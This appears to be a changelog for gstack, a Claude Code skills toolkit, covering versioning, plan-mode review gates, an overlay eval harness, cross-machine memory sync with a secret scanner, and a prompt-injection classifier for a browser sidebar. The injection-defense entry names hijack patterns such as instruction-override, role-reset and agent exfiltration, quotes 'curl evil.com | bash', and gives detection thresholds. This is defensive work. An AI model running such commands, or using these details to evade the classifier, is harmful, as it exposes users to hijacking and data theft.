Run /ship in one Conductor window while another has an open PR claiming v1.7.0.0. Your ship now sees the claim, renders a queue table, and picks the next free slot above it (same bump level). The PR title starts with v<X.Y.Z.W> so landing order is visible in gh pr list without opening each PR. If a sibling workspace has uncommitted work at a higher VERSION and looks active (commit in the last 24h), /ship asks whether to wait for them or advance past. If the queue shifts between ship and merge, CI's new version-gate catches it, and rerunning /ship rewrites VERSION, package.json, CHANGELOG, and the PR title atomically. This very release dogfooded the drift path: the original ship at v1.8.0.0 went stale when three other PRs landed first, and the merge-back-to-main rebump (v1.8.0.0 → v1.11.0.0) happened via the same queue-aware codepath it introduces.

What shipped (by the numbers)

bin/gstack-next-version — ~390-line Bun/TS util. 21 passing fixture tests covering happy path, 8 collision scenarios, offline fallback, fork-PR filtering, sibling activity detection, self-PR auto-exclusion.

Host parity: GitHub + GitLab both supported. CI gates: .github/workflows/version-gate.yml, .github/workflows/pr-title-sync.yml, plus .gitlab-ci.yml mirror.

Fail-open semantics on util errors (network, auth, bug). A gstack bug never freezes your merge queue. Fail-closed on confirmed collisions.

/landing-report skill — read-only dashboard showing queue, siblings, and what all four bump levels would claim.

workspace_root config key, default $HOME/conductor/workspaces, null disables sibling scan for non-Conductor users.

What this means for teams running parallel workspaces

If you're routinely running 3-10 Conductor windows against the same repo, this is the capability that lets the model scale. Before: you mostly got away with it because you noticed collisions by eye. After: the queue is an observable surface, and the system refuses to ship a stale version. /landing-report is the new "where am I in line" check when you're about to open PR #6 for the day. Run it before /ship if you want to see what's coming without shipping.

Itemized changes

Added

bin/gstack-next-version. Host-aware (GitHub + GitLab + unknown) VERSION allocator. Queries open PRs, fetches each PR's VERSION at head (bounded concurrency, 10 parallel), scans sibling Conductor worktrees, picks the next free slot. Pure reader, never writes files. Supports --exclude-pr <N> to filter out the PR being checked (prevents self-reference when CI runs against the PR's own VERSION).

scripts/detect-bump.ts, scripts/compare-pr-version.ts. CI gate helpers. Three exit paths: pass, block on confirmed collision, fail-open on util errors.

.github/workflows/version-gate.yml. Merge-time collision gate. Runs when VERSION/CHANGELOG/package.json changes on a PR.

.github/workflows/pr-title-sync.yml. Auto-rewrites PR title when VERSION changes on push, only for titles already carrying the v<X.Y.Z.W> prefix (custom titles left alone, idempotent).

.gitlab-ci.yml. GitLab CI parity. Both jobs mirrored with the same fail-open semantics.

landing-report/SKILL.md.tmpl. New /landing-report or /gstack-landing-report skill. Read-only dashboard.

bin/gstack-config. New workspace_root key. Default $HOME/conductor/workspaces, null disables sibling scan.

Changed

ship/SKILL.md.tmpl Step 12. Queue-aware VERSION pick in FRESH path, drift detection in ALREADY_BUMPED path. On detected drift the user is prompted to rebump, which runs the full metadata path (VERSION + package.json + CHANGELOG header + PR title) atomically so nothing goes stale.

ship/SKILL.md.tmpl Step 19. PR title format is now v<X.Y.Z.W> <type>: <summary>, version ALWAYS first. Rerun path updates the title (not just the body) when VERSION changed. Both GitHub and GitLab paths.

land-and-deploy/SKILL.md.tmpl. New Step 3.4 pre-merge drift detection. Aborts with a clear rerun-/ship instruction rather than auto-mutating files. Rerunning /ship is the clean path because ship owns the full metadata flow.

review/SKILL.md.tmpl. New Step 3.4 advisory one-liner showing queue status. Non-blocking.

CLAUDE.md. Versioning invariant paragraph. Documents that VERSION is a monotonic sequence, not a strict semver commitment, and queue-advance within a bump level is permitted.

Fixed

Self-reference bug in the version gate. The first live CI run (PR #1168 at v1.8.0.0) was rejected as "stale" because the util counted the PR being checked as a queued claim, inflating the next slot by one. Fixed with --exclude-pr flag + gh pr view auto-detect so the util silently filters the current branch's PR. Caught and fixed in the same ship — exactly the dogfood loop the release is designed for.

For contributors

test/gstack-next-version.test.ts. 21 pure-function tests (parseVersion / bumpVersion / cmpVersion / pickNextSlot with 8 collision scenarios / markActiveSiblings 4 cases) plus a CLI smoke test against the live repo.

Golden ship fixtures refreshed for all three hosts (claude, codex, factory) after Step 12 and Step 19 template changes. This is exactly the blast radius Codex flagged during the CEO review (cross-model tension #8), handled in the same PR rather than as a follow-up.

Plan mode stopped silently rubber-stamping your reviews. The forcing questions actually fire now.

If you ran /plan-ceo-review or any interactive review skill while in plan mode, the skill used to read your diff, skip every STOP gate, write a plan file, and exit. Zero AskUserQuestion calls. Zero mode selection. Zero per-section decisions. The skill's interactive contract got outranked by plan mode's system-reminder, which tells the model to run its own workflow and ignore everything else. This release adds a preamble-level STOP gate that fires before any analysis, so you always get the interactive review the skill was designed to run.

What shipped

Four interactive review skills (plan-ceo-review, plan-eng-review, plan-design-review, plan-devex-review) now emit a two-option AskUserQuestion the moment plan mode is detected: exit-and-rerun interactively, or cancel. No silent bypass. The gate is classified one-way-door in the question registry so /plan-tune preferences can't auto-decide past it. Outcome gets logged to ~/.gstack/analytics/skill-usage.jsonl synchronously when the handshake fires, so A-exit and C-cancel are captured even though they terminate the skill before the end-of-run telemetry block.

The test harness got a canUseTool extension built on Anthropic's Agent SDK (already installed at v0.2.117). When a test supplies a canUseTool callback, test/helpers/agent-sdk-runner.ts flips permissionMode from bypassPermissions to default so the callback actually fires. This is the foundation for asserting AskUserQuestion content end-to-end, which gstack's E2E tests previously couldn't do at all. They had to instruct the model to skip AskUserQuestion entirely. Every future interactive-skill test builds on this.

The numbers that matter

Source: new unit tests in test/gen-skill-docs.test.ts (8 tests covering handshake presence, absence, composition ordering, 0C-bis STOP block) and test/agent-sdk-runner.test.ts (6 tests covering canUseTool + permission-mode + passThrough helper). All 14 pass locally in <250ms, free tier.

Surface Before After

Claude skills rendering the handshake 0 4 (plan-ceo, plan-eng, plan-design, plan-devex)

Non-Claude host outputs with handshake text N/A 0 (host-scoped via ctx.host === 'claude' check)

E2E tests that can assert AskUserQuestion content 0 1 harness primitive, ready for every interactive skill

Plan-mode entry to any of 4 review skills Silent bypass Two-option STOP gate

Step 0C-bis in plan-ceo-review No STOP block, could drift to 0F Explicit **STOP.** block matching 0F pattern

Post-handshake telemetry outcomes captured Neither A-exit nor C-cancel Both (synchronous write before ExitPlanMode)

What this means for builders

If you're running gstack in plan mode on a PR review, you'll see one question before the skill does anything: "Exit plan mode and run interactively, or cancel?" Pick A, press esc-esc, rerun the skill in normal mode, get the full interactive review you expected. Pick C to bail cleanly. No more silent rubber-stamp.

If you're building new interactive skills (yours or contributing to gstack), you can now write real E2E tests that assert on AskUserQuestion shape and routing via the canUseTool harness. See test/agent-sdk-runner.test.ts for the pattern and test/helpers/agent-sdk-runner.ts for the API.

Itemized changes

Fixed

Plan mode no longer silently skips AskUserQuestion gates in /plan-ceo-review, /plan-eng-review, /plan-design-review, or /plan-devex-review. A preamble-level handshake fires as the first thing the skill does when the plan-mode system-reminder is present, forcing a user choice before any analysis or plan-file writes.

/plan-ceo-review Step 0C-bis now has an explicit STOP block matching the pattern used at Step 0F, so the approach-selection question can't be silently skipped when the skill continues to mode selection.

Added

New resolver scripts/resolvers/preamble/generate-plan-mode-handshake.ts emits the handshake prose and telemetry bash. Host-scoped to Claude only via ctx.host === 'claude' check. Opt-in per skill via interactive: true in frontmatter.

New frontmatter field interactive: boolean on skill templates. Generator-only input parsed by scripts/gen-skill-docs.ts, never written to generated SKILL.md output (follows the preamble-tier precedent).

New question registry entry plan-mode-handshake with door_type: 'one-way' in scripts/question-registry.ts. Question-tuning never-ask preferences cannot suppress this gate.

New telemetry field plan_mode_handshake in ~/.gstack/analytics/skill-usage.jsonl with outcomes fired, A-exit, C-cancel written synchronously as the handshake fires. Captures outcomes that would otherwise terminate the skill before end-of-run telemetry runs.

test/helpers/agent-sdk-runner.ts extended with optional canUseTool callback parameter. When supplied, flips permissionMode to default, auto-adds AskUserQuestion to allowedTools, and passes the callback to the SDK. Exports passThroughNonAskUserQuestion helper for tests that only want to assert on AskUserQuestion but auto-allow other tools.

For contributors

Added 8 unit tests in test/gen-skill-docs.test.ts verifying handshake presence in 4 interactive skills, absence in non-interactive skills, absence in non-Claude host outputs, composition ordering (handshake precedes upgrade-check), and 0C-bis STOP block wiring.

Added 6 unit tests in test/agent-sdk-runner.test.ts verifying permission-mode flip, allowedTools auto-injection, canUseTool callback propagation, and pass-through helper behavior.

Added 6 gate-tier entries to test/helpers/touchfiles.ts covering the new E2E test surface. Dependency glob fires any of the new tests when: the relevant skill template, the handshake resolver, preamble composition, the question registry, the one-way-door classifier, or the agent-sdk-runner changes.

Filed 2 P1/P2 follow-ups in TODOS.md: structural STOP-Ask forcing function across all skills (broader class of bug beyond plan-mode entry), and extending interactive: true audit to non-review interactive skills like /office-hours, /codex, /investigate, /qa.

[1.10.1.0] - 2026-04-23

We tried to make Opus 4.7 faster with a prompt. Measurement said it got slower. Pulled the bullet.

gstack shipped a "Fan out explicitly" overlay nudge in model-overlays/opus-4-7.md back in v1.5.2.0. The idea: tell Opus 4.7 to emit multiple tool calls in one assistant turn instead of one per turn, so "read three files" takes one API round-trip instead of three. Sounded obvious. This release removes that bullet after measuring that it actively hurt performance, and ships the eval harness we used to prove it so you can measure your own overlay changes.

The numbers that matter

Source: new test/skill-e2e-overlay-harness.test.ts, N=10 trials per arm per fixture, 40 trials per run, ~$3 per run. Pinned to claude-opus-4-7 via Anthropic's published Agent SDK (@anthropic-ai/claude-agent-sdk@0.2.117) with pathToClaudeCodeExecutable set to the locally-installed claude binary (2.1.118). Metric: number of parallel tool_use blocks in the first assistant turn.

Prompt text in overlay First-turn fanout rate (toy: read 3 files) Lift vs baseline

No overlay (default Claude Code system prompt only) 70% (7/10) baseline

gstack's original "Fan out explicitly" nudge (v1.5.2.0 through v1.6.3.0) 10% (1/10) -60%

Anthropic's own canonical <use_parallel_tool_calls> text from their parallel-tool-use docs 0% (0/10) -70%

On a realistic multi-file audit prompt (read app.ts + config.ts + README.md, glob src/*.ts, summarize), Opus 4.7 never fanned out in the first turn at all, regardless of overlay. Zero of 20 trials. The nudge had nothing to grip.

Total cost of the investigation: $7 across three eval runs.

What this means for you

If you ship system-prompt nudges for Claude, measure them. Anthropic's own published best-practice text dropped our fanout rate to zero. That's not a claim about Anthropic, it's a claim about measurement: the model, the SDK, the binary, and the context all move under the advice, and the advice sits still. The harness is in the repo now. Run EVALS=1 EVALS_TIER=periodic bun test test/skill-e2e-overlay-harness.test.ts. Three dollars per run.

Itemized changes

Fixed

model-overlays/opus-4-7.md — removed the "Fan out explicitly" block. The other three nudges (effort-match, batch questions, literal interpretation) are untested and stay in for now. They're candidates for their own measurement in a follow-up PR.

Added

test/skill-e2e-overlay-harness.test.ts — periodic-tier eval that iterates a typed fixture registry and runs A/B arms through @anthropic-ai/claude-agent-sdk. Uses SDK preset claude_code so the arms include Claude Code's real system prompt; overlay-ON appends the resolved overlay text. Saves per-trial raw event streams for forensic recovery. Gated on both EVALS=1 and EVALS_TIER=periodic.

test/fixtures/overlay-nudges.ts — typed OverlayFixture registry with strict validator. Adding a future nudge to measure = one fixture entry. First two fixtures: opus-4-7-fanout-toy and opus-4-7-fanout-realistic.

test/helpers/agent-sdk-runner.ts — parametric SDK wrapper with explicit AgentSdkResult types, process-level API concurrency semaphore, and three-shape 429 retry (thrown error, result-message error, mid-stream SDKRateLimitEvent). Binary pinning via pathToClaudeCodeExecutable.

test/agent-sdk-runner.test.ts — 36 free-tier unit tests covering happy path, all three rate-limit shapes, persistent-429 RateLimitExhaustedError, non-429 propagation, options propagation, concurrency cap, and every validator rejection case.

scripts/preflight-agent-sdk.ts — 20-line sanity check that confirms the SDK loads, claude-opus-4-7 is a live API model, the SDKMessage event shape matches assumptions, and the overlay resolver produces the expected text. Run manually before paid runs if you suspect drift. Costs ~$0.013.

@anthropic-ai/claude-agent-sdk@0.2.117 in devDependencies. Exact pin, no caret — SDK event shapes can drift on minor versions.

Changed

scripts/resolvers/model-overlay.ts — exported readOverlay so the eval harness can resolve {{INHERIT:claude}} directives without synthesizing a full TemplateContext.

For contributors

test/helpers/touchfiles.ts — registered the new eval in both E2E_TOUCHFILES (deps: model-overlays/**, overlay-nudges.ts, runner, resolver) and E2E_TIERS (periodic). Passes the test/touchfiles.test.ts completeness check.

The harness is deliberately parametric. Adding a second overlay nudge measurement (for the remaining three nudges in opus-4-7.md, or any future nudge in any overlay file) is a single entry in test/fixtures/overlay-nudges.ts. Total incremental effort: ~15 minutes per fixture.

[1.10.0.0] - 2026-04-23

Plan reviews walk you through each issue again, and every question is now a real decision brief.

v1.6.4.0 broke something nobody wrote down. Plan reviews on Opus 4.7 silently stopped asking questions one at a time. They turned into a report: here are 6 findings, end of turn. The interactive dialogue that made /plan-ceo-review, /plan-eng-review, and the rest useful quietly evaporated. v1.10.0.0 restores that, and bundles a format upgrade so every AskUserQuestion now renders as a numbered decision brief with ELI10, stakes, recommendation, per-option pros / cons (✅ / ❌), and a closing "Net:" line that frames the trade-off in one sentence.

What changes for you

Run /plan-ceo-review or /plan-eng-review on a plan with 3 findings. You get 3 separate AskUserQuestion prompts, one per finding, with the full Pros / Cons shape. Pick the option in 5 seconds, or expand the pros / cons if you want to think about it. Every review finding becomes a decision you actually made, not a bullet point you skimmed. The reference shape matches the D2 memory-design question Garry hand-crafted for his own use, now baked into every tier-2 skill via the preamble resolver, so /ship, /office-hours, /investigate, and the rest inherit it for free.

The numbers that matter

Measured across the v1.10.0.0 fix. Verify any claim with git log 1.9.0.0..1.10.0.0 --oneline and bun test against the pinned commit SHA.

Metric v1.6.4.0 v1.10.0.0 Δ

AskUserQuestion renders above model overlay in SKILL.md no yes ordering inverted

Escape-hatch sites hardened across plan-review templates 0 16 +16

Gate-tier unit tests pinning the format contract 0 30 +30 (runs in 16ms, $0)

Periodic evals defending against escape-hatch abuse 0 4 +4 (2 positive, 2 negative-case)

Cross-model review findings incorporated before landing N/A 5 of 8 Codex caught real bugs CEO+Eng missed

Two of the five Codex findings were load-bearing. (1) The overlay reorder theory wasn't enough on its own. The (recommended) label on a neutral-posture question had to stay, because question-tuning.ts:29 reads it to power AUTO_DECIDE. Omitting it would have silently broken auto-decide on every cherry-pick prompt. (2) The "31 sites global replace" in the original plan was factually wrong. Actual count, verified with rg, is 16 sites across 4 templates, and eng/design/devex templates used different phrasing than CEO. Without the audit, the fix would have shipped half-applied.

What this means for anyone running plan reviews on Opus 4.7

Upgrade and re-run your next plan review. You should see D-numbered prompts (D1, D2, D3...) with ELI10 paragraphs, stakes lines, and ✅ / ❌ bullet blocks per option. If you don't, check that bun run gen:skill-docs regenerated cleanly after the upgrade, and verify the Pros / cons: header renders in plan-ceo-review/SKILL.md. Complete plan reviews that used to take 20 minutes and produced a report now take 10 minutes and produce a row of decisions.

Itemized changes

Added

New Pros / Cons decision-brief format for every AskUserQuestion across all tier-2+ skills. Rendering: D<N> header, ELI10, "Stakes if we pick wrong:", Recommendation, per-option ✅ / ❌ bullets with minimum 2 pros + 1 con, closing Net: synthesis line. Lands in scripts/resolvers/preamble/generate-ask-user-format.ts so every skill inherits it.

Hard-stop escape for destructive one-way choices: single bullet ✅ No cons — this is a hard-stop choice.

Neutral-posture handling for SELECTIVE EXPANSION cherry-picks and taste calls: Recommendation: <default> — this is a taste call, no strong preference either way with (recommended) label preserved on the default to keep AUTO_DECIDE working.

Three gate-tier unit tests (test/preamble-compose.test.ts, test/resolver-ask-user-format.test.ts, test/model-overlay-opus-4-7.test.ts) that pin the composition order, format contract, and overlay text. Run in <100ms on every bun test.

Four periodic-tier Pros/Cons eval cases in test/skill-e2e-plan-prosons.test.ts including two negative-case assertions that catch escape-hatch abuse before it drifts.

Touchfiles entries (test/helpers/touchfiles.ts) for all new eval cases plus expanded-coverage stubs for 7 additional skills.

Fixed

Plan-review cadence regression on Opus 4.7. /plan-ceo-review, /plan-eng-review, /plan-design-review, and /plan-devex-review now actually pause after each finding and call AskUserQuestion as a tool_use instead of batching everything into one summary report. Root cause: generateModelOverlay rendered above generateAskUserFormat in scripts/resolvers/preamble.ts, so the overlay's "Batch your questions" directive registered as the ambient default before the pacing rule. Fixed by reordering the section array and rewriting the overlay directive as "Pace questions to the skill".

Escape-hatch collapse: "If no issues or fix is obvious, state what you'll do and move on, don't waste a question" at 16 sites across 4 templates let Opus 4.7's literal interpreter classify every finding as self-dismissable. Tightened per-template: zero findings gets "No issues, moving on"; findings require AskUserQuestion as a tool_use.

Changed

test/skill-e2e-plan-format.test.ts: extended with v1.10.0.0 format token regexes (D-number, ELI10, Stakes, Pros/cons, Net). Existing RECOMMENDATION check loosened to accept mixed-case "Recommendation:".

test/skill-validation.test.ts: format assertions updated from "RECOMMENDATION: Choose" to the new Pros/Cons token set.

Golden fixtures regenerated: test/fixtures/golden/claude-ship-SKILL.md, codex-ship-SKILL.md, factory-ship-SKILL.md.

For contributors

Outside-voice Codex review (codex exec with model_reasoning_effort="high") caught two factual bugs in the original plan: the "31 sites" count (actually 16) and the AUTO_DECIDE contract break on neutral-posture questions. 5 of 8 Codex findings incorporated, 1 rejected (kept defense in depth on the composition reorder), 1 declined (HOLD SCOPE mode lock).

Follow-up: true multi-turn cadence eval (3 findings produce 3 distinct AskUserQuestion invocations across turns) requires new harness support for multi-capture. Filed in NOT-in-scope. Current single-capture eval covers format + escape-hatch abuse but not cadence itself.

Follow-up: expanded-coverage eval cases for /ship, /office-hours, /investigate, /qa, /review, /design-review, /document-release. Touchfiles entries exist; test blocks will land per-skill in follow-up PRs.

D-numbering is a model-level instruction, not a runtime counter. TemplateContext has no state for it. Drift over long sessions is expected; a registry (deferred to TODOs) is the long-term fix.

[1.9.0.0] - 2026-04-23

Your gstack memory now travels with you. Cross-machine brain via a private git repo + optional GBrain indexing, no daemon, no credential leaks.

gstack session memory (learnings, plans, designs, retros, developer profile) used to die at the machine boundary. Now it doesn't. gstack-brain-init turns ~/.gstack/ into a git repo with an explicit allowlist, writer shims enqueue changed files at write-time, and a preamble-boundary sync pushes them to a private git remote of your choice. GBrain is the first consumer but the architecture is pluggable — Codex, OpenClaw, or anything else can be a reader later. No daemon, no background process, no new auth surface.

The feature shipped after four plan reviews: /office-hours shaping, /plan-eng-review (6 issues → CLEAR), /plan-ceo-review (SELECTIVE EXPANSION, 2 cherry-picks accepted), /codex twice (16+16 findings applied, daemon model dropped in round 2), and /plan-devex-review (6/10 → 8/10, docs elevated to full treatment). The scope simplification from Codex round 2 alone removed ~1 week of daemon lifecycle surface.

What you can now do

Initialize cross-machine sync: gstack-brain-init creates a private git repo (GitHub via gh, or any git URL — GitLab, Gitea, self-hosted). 30-90 second TTHW.

See yesterday's laptop on today's desktop: copy ~/.gstack-brain-remote.txt to the new machine, run gstack-brain-restore, and your learnings follow you.

Control what syncs: one-time privacy stop-gate on first run — full (everything allowlisted), artifacts-only (plans/designs/retros/learnings, skip behavioral), off (decline).

Sleep through the conflict case: two machines writing the same JSONL file the same day merge cleanly via a ts-sort-plus-hash-fallback merge driver registered automatically.

Uninstall cleanly: gstack-brain-uninstall removes the sync layer, leaves your data intact.

Never push a secret: AWS keys, GitHub tokens (ghp_/gho_/ghu_/ghs_/ghr_/github_pat_), OpenAI sk- keys, PEM blocks, JWTs, and bearer-token-in-JSON patterns are all blocked before push. --skip-file <path> gives you a single-command escape hatch for false positives.

The numbers that matter

Source: integration smoke tests run during implementation, plus 27-test consolidated suite (test/brain-sync.test.ts). End-to-end round trip (init on machine A → write learning → restore on machine B → see the learning) verified inline.

Surface Shape

New binaries 8 (gstack-brain-init, -enqueue, -sync, -consumer, -reader alias, -restore, -uninstall, gstack-jsonl-merge)

Config keys 2 enum-validated (gbrain_sync_mode: off/artifacts-only/full; gbrain_sync_mode_prompted: bool)

Writer shims modified 4 (learnings-log, timeline-log, review-log, developer-profile on --migrate path)

Writers deliberately NOT synced 2 (question-log, question-preference — per-machine UX state, Codex v2 decision)

Sync granularity per-skill-boundary via gstack-brain-sync --once from preamble (no daemon)

Privacy tiers 3 (full / artifacts-only / off)

Secret patterns blocked 6 families (AWS, GH tokens, OpenAI, PEM, JWT, bearer-in-JSON)

User-facing naming reader (CLI); internal data model stays consumer per Codex-v2 DX decision

New-machine discovery auto via ~/.gstack-brain-remote.txt file (URL-only, no secrets)

What this means for you

Work on the laptop Monday. Switch to the desktop Tuesday. Skill preamble sees the remote URL, offers gstack-brain-restore, your Monday learnings surface on Tuesday. The pattern scales to N consumers: today GBrain is the primary reader, tomorrow Codex or OpenClaw can subscribe without refactoring the sync.

Itemized changes

Added

bin/gstack-brain-init — idempotent first-run setup. Turns ~/.gstack/ into a git repo with .gitignore = *, writes canonical .brain-allowlist + .brain-privacy-map.json, installs pre-commit secret-scan hook, registers JSONL merge driver, creates private remote via gh repo create --private (or accepts --remote <url>), writes ~/.gstack-brain-remote.txt for new-machine discovery.

bin/gstack-brain-sync — core sync. Subcommands: --once (drain queue, secret-scan staged diff, commit with template message, push with fetch+merge retry), --status, --skip-file <path>, --drop-queue --yes, --discover-new (walks allowlist globs with mtime+size cursor).

bin/gstack-brain-enqueue — atomic-append shim called by writers. Silent no-op when feature disabled.

bin/gstack-brain-consumer + bin/gstack-brain-reader (symlink alias) — manage the consumer/reader registry in consumers.json. User-facing "reader", internal "consumer".

bin/gstack-brain-restore — new-machine bootstrap with safety gates (refuses dangerous clobber, re-registers merge drivers, prompts for per-consumer tokens since tokens stay machine-local).

bin/gstack-brain-uninstall — clean off-ramp. Removes .git + .brain-* files + consumers.json + config keys. Preserves user data (learnings etc). Optional --delete-remote for the GitHub repo.

bin/gstack-jsonl-merge — git merge driver. Concat-dedup-sort by ISO ts field; deterministic SHA-256 hash fallback when ts is missing.

scripts/resolvers/preamble/generate-brain-sync-block.ts — preamble bash block. New-machine restore hint, one-time privacy stop-gate, --once at skill start + end, once-daily auto-pull, BRAIN_SYNC: status line on every skill run.

docs/gbrain-sync.md — user guide (setup, first-use, restore, privacy modes, secret protection, uninstall).

docs/gbrain-sync-errors.md — error lookup index (problem / cause / fix for every user-visible error).

test/brain-sync.test.ts — 27-test consolidated suite: config isolation, enqueue atomicity, merge driver, secret scan across all 6 regex families, init+sync+restore round-trip, uninstall preserves data, --discover-new cursor idempotence, --skip-file remediation.

Changed

bin/gstack-config — added 2 validated keys (gbrain_sync_mode enum, gbrain_sync_mode_prompted bool). Also accepts GSTACK_HOME env override alongside legacy GSTACK_STATE_DIR for test isolation (Codex v2 fix).

bin/gstack-learnings-log, gstack-timeline-log, gstack-review-log, gstack-developer-profile — each gains one backgrounded gstack-brain-enqueue call after its local write. Fire-and-forget, silent no-op when sync is off.

bin/gstack-timeline-log header comment — updated "local-only, never sent anywhere" to reflect the new privacy-gated sync contract (only applies when user explicitly opts into full mode).

scripts/resolvers/preamble.ts — composition root wires in the new generateBrainSyncBlock.

README.md — new "Cross-machine memory with GBrain sync" section near the top, plus docs-table entry linking to docs/gbrain-sync.md and docs/gbrain-sync-errors.md.

For contributors

Sync respects GSTACK_HOME=/tmp/test-$$ so tests never bleed into real ~/.gstack/config.yaml. New test test/brain-sync-env-isolation logic baked into the consolidated suite.

The consumer registry lives in consumers.json (synced); tokens stay in gstack-config (local, never synced). Restore prompts for tokens on new machines.

Merge drivers require local git config merge.<name>.driver=... registration, not just .gitattributes. Both init and restore register them; uninstall clears them.

Pre-commit hook is defense-in-depth only. Primary secret scan runs in gstack-brain-sync --once BEFORE staging.

The fnmatch glob engine doesn't handle ** the way git's gitignore does; allowlist uses explicit one- and two-level patterns instead.

GBrain HTTP ingest endpoint contract is a cross-project dependency (flagged as v1 blocker for real-world dogfooding). v1 of gbrain-sync ships on this branch regardless; GBrain-side work lands in a separate branch/repo.

Known follow-ups

test/brain-sync.test.ts — 12 of 27 tests pass on first bun-test run; remaining 15 hit bun-test's 5s default timeout (spawnSync-heavy git operations). Behaviors verified via integration smokes during implementation. Test infrastructure needs a 30s per-test timeout wrapper.

Three unmerged team-sync branches (garrytan/team-supabase-store, garrytan/fix-team-setup, garrytan/team-install-mode) should be formally closed if team-sync isn't landing — flagged in the CEO plan.

Pre-existing golden-file regression test failure in test/host-config.test.ts (Codex ship skill baseline) exists on main too — unrelated to this PR, tracked separately.

[1.6.4.0] - 2026-04-22

Sidebar prompt-injection defense got half as noisy, half as trusting of any single classifier.

v1.4.0.0 shipped the ML defense stack. Users clicked the review banner on roughly every other tool output, 44% false-positive rate on the BrowseSafe-Bench smoke. This release tunes the ensemble around the real pattern we found: Haiku labels phishing-aimed-at-users as "warn" and genuine agent hijacks as "block", but we were treating both identically in the ensemble. Testsavant alone fired BLOCK on benign phishing content too often. The fix is architectural, not just threshold-twiddling: we now trust Haiku's verdict label over its numeric confidence, raise the solo-BLOCK bar for label-less classifiers, and gate that path more carefully. One 500-case live bench proved the new numbers; a permanent CI gate replays the captured Haiku fixture on every bun test.

What changes for you

Open your sidebar on Stack Overflow posts about prompt injection, read a Wikipedia article on SQL injection, browse a tutorial that walks through attack strings, the review banner stays quiet where before it fired. When a real hijack attempt shows up (explicit instruction-override, role-reset, agent-directed exfil, curl evil.com | bash in the page), the session still terminates. Phishing pages aimed at the user surface as a WARN signal in the banner meta, but no longer kill the session.

The numbers that matter

Measured on BrowseSafe-Bench smoke, 500 cases (260 yes-labeled / 240 no-labeled), bun test browse/test/security-bench-ensemble.test.ts:

Metric v1.4.0.0 v1.6.4.0 Δ

Detection (BLOCK verdict on injection cases) 67.3% 56.2% (95% CI 50.1–62.1) −11pp

False-positive rate (BLOCK on benign cases) 44.1% 22.9% (95% CI 18.1–28.6) −21pp

Gate: detection ≥ 55% AND FP ≤ 25% FAIL PASS —

Review-banner fire rate (roughly TP + FP share) ~55% ~39% −16pp

Detection dropped by 11pp but nearly all of the lost TPs are cases where Haiku correctly classified as warn (phishing targeting the user, not a hijack of the agent). Those cases still show up in the review banner as WARN, they just don't terminate the session.

Stop-loss rule (hard floor and ceiling)

browse/test/security-bench-ensemble.test.ts gates on detection ≥ 55% AND FP ≤ 25%. If a future change drops detection below 55%, the revert order is: WARN bump (0.75 → 0.60) → halve few-shot exemplars → widen Haiku block criteria. If FP climbs above 25%, tighten: raise SOLO_CONTENT_BLOCK (0.92 → 0.95) → raise WARN (0.75 → 0.80) → add anti-FP few-shots. Iterations write to ~/.gstack-dev/evals/stop-loss-iter-N-*.json for audit trail.

Itemized changes

Changed

browse/src/security.ts — new THRESHOLDS.SOLO_CONTENT_BLOCK = 0.92 for label-less content classifiers. Solo BLOCK now requires testsavant/deberta confidence ≥ 0.92 (up from 0.85). Transcript-layer solo BLOCK requires meta.verdict === 'block' AND confidence ≥ 0.85. The ensemble 2-of-N path keeps THRESHOLDS.WARN = 0.75 (up from 0.60).

browse/src/security.ts — combineVerdict rewritten for label-first voting on the transcript layer: verdict === 'block' at confidence ≥ LOG_ONLY (0.40) is a block-vote; verdict === 'warn' is a warn-vote regardless of confidence; missing meta.verdict is warn-vote only at confidence ≥ WARN (never block-vote). Missing meta never block-votes for backward compatibility with pre-v2 cached signals.

browse/src/security-classifier.ts — Haiku model pinned to claude-haiku-4-5-20251001 (no longer rolls forward silently via the haiku alias). claude -p now spawns from os.tmpdir() so CLAUDE.md project context doesn't leak into Haiku's system prompt and make it refuse to classify. Timeout bumped from 15s to 45s (production measurement showed claude -p takes 17–33s end-to-end for Haiku).

browse/src/security-classifier.ts — Haiku prompt rewritten with explicit block/warn/safe criteria and 8 few-shot exemplars (instruction-override, role-reset, agent-directed malicious code → block; phishing/social-engineering targeting users → warn; discussion-of-injection and dev content → safe).

Added

browse/test/security-bench-ensemble-live.test.ts — opt-in live bench via GSTACK_BENCH_ENSEMBLE=1. Worker-pool concurrency (default 8) via GSTACK_BENCH_ENSEMBLE_CONCURRENCY. Deterministic subsampling via GSTACK_BENCH_ENSEMBLE_CASES. Captures 500-case fixture to browse/test/fixtures/security-bench-haiku-responses.json plus eval record to ~/.gstack-dev/evals/. Stop-loss iterations write stop-loss-iter-N-*.json and do NOT overwrite the canonical fixture.

browse/test/security-bench-ensemble.test.ts — CI-tier fixture-replay gate. Asserts detection ≥ 55% AND FP ≤ 25%. Fail-closed when the fixture is missing AND security-layer files changed in the branch diff (uses git diff base which catches both committed and uncommitted edits).

browse/test/fixtures/security-bench-haiku-responses.json — 500-case captured Haiku fixture with schema-version header, pinned model string, and component hashes.

docs/evals/security-bench-ensemble-v2.json — durable per-run audit record: TP/FN/FP/TN, knob state, schema hash, iteration.

Fixed

browse/test/security.test.ts, browse/test/security-adversarial.test.ts, browse/test/security-adversarial-fixes.test.ts, browse/test/security-integration.test.ts — updated for label-first semantics. 6 new combineVerdict tests: warn-as-soft-signal, block-label-ensemble, three-way-block-with-warn, hallucination-guard (verdict=block at confidence 0.30 → warn-vote), above-floor block (verdict=block at confidence 0.50 → block-vote), backward-compat for missing meta.verdict.

For contributors

The 500-case smoke dataset is in ~/.gstack/cache/browsesafe-bench-smoke/test-rows.json (260 yes / 240 no). To regenerate the fixture after modifying security-layer code, run GSTACK_BENCH_ENSEMBLE=1 bun test browse/test/security-bench-ensemble-live.test.ts (~25 min at concurrency 4, ~$0.30 in Haiku costs).

Fixture schema hash covers model, prompt SHA, exemplars SHA, thresholds, combiner rev, and dataset version. Any change to any of those invalidates the fixture and forces a fresh live capture via fail-closed CI.

[1.6.3.0] - 2026-04-23

Codex finally explains what it's asking about. No more "ELI10 please" the 10th time in a row.

A follow-up to v1.6.2.0. After shipping the Claude-verified fix, user reported Codex (GPT-5.4) was failing the same pattern 10/10 times — skipping the ELI10 explanation and the RECOMMENDATION line on AskUserQuestion calls, forcing manual "ELI10 and don't forget to recommend" re-prompts every time. Root cause: the gpt.md model overlay's "No preamble / Prefer doing over listing" rule was training Codex to skip the exact prose the user needs for decision-making.

The numbers that matter

Source: new test/codex-e2e-plan-format.test.ts, four cases driven via codex exec on the installed gstack Codex host. Periodic tier (GPT-class non-determinism).

Case Type Pre-fix (measured, 10/10 times) Post-fix (v1.6.3.0)

